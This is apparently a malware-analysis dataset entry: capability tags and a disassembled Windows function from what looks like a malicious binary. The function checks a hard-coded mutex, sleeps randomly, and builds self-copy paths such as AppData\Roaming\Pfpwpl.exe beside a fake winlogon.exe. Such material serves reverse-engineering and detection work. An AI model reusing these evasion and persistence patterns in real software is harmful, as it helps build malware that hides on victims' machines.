Function at 0x2100910
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push edi
push 0x103
lea eax, [ebp - 0x20f]
push 0
push eax
mov byte [ebp - 0x210], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.020fa5d0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x103
lea ecx, [ebp - 0x10b]
push 0
push ecx
mov dword [0x213a70c], eax
mov byte [ebp - 0x10c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
push 0x104
lea edx, [ebp - 0x10c]
push edx
push eax
mov byte [ebp - 8], 0
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x21009cf
push 3
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.020f2440
lea edx, [ebp - 8]
push edx
call fcn.020ff2b0
add esp, 4
test eax, eax
je 0x21009cf
push 5
push 0
push 0
lea eax, [ebp - 8]
push eax
push str.OPEN
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [0x213b500], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call main
add esp, 4
call fcn.020f3870
cdq
mov ecx, 0xa
idiv ecx
mov esi, edx
inc esi
call fcn.020f3870
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0x1f4
imul edx, esi
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.FvLQ49IlzIyLjj6m
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x2100a38
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 2
je 0x2100a38
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.Moron
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.Moron
call fcn.020f1e60
push eax
push str._08x
lea edx, [ebp - 0x210]
push 0x103
push edx
call sub.MSVCRT.dll__snprintf
lea eax, [ebp - 0x210]
push eax
call fcn.020f4d00
add esp, 0x1c
test eax, eax
jne 0x2100a7f
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push 0x2102e64
call fcn.020f73e0
add esp, 8
cmp eax, 1
jne 0x2100a9e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push 0x2102e64
call fcn.020f7330
push 0
call fcn.020fb300
add esp, 0xc
mov esi, eax
call fcn.020f6850
push 0x208
push str.C:UsersAdminAppDataRoamingWindowswinlogon.exe
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push edi
push str._s_s.exe
push str.C:UsersAdminAppDataRoamingPfpwpl.exe
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x10
push 0
push 0
push 0x104
push 0x213ac50
push 0xffffffffffffffff
push str.C:UsersAdminAppDataRoamingPfpwpl.exe
push 0
push 0
call edi
push 0x208
push esi
push 0x213b1b8
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0x104
push str.Pfpwpl
push 0xffffffffffffffff
push esi
push 0
push 0
call edi
xor eax, eax
mov ecx, 0x14c
cmp word [0x7ffe002c], cx
setne al
mov dword [0x213b504], eax
test eax, eax
je 0x2100b5f
call fcn.020fa990
push 0x9c4
mov dword [0x213b508], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x2106d28
call fcn.020f5ce0
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]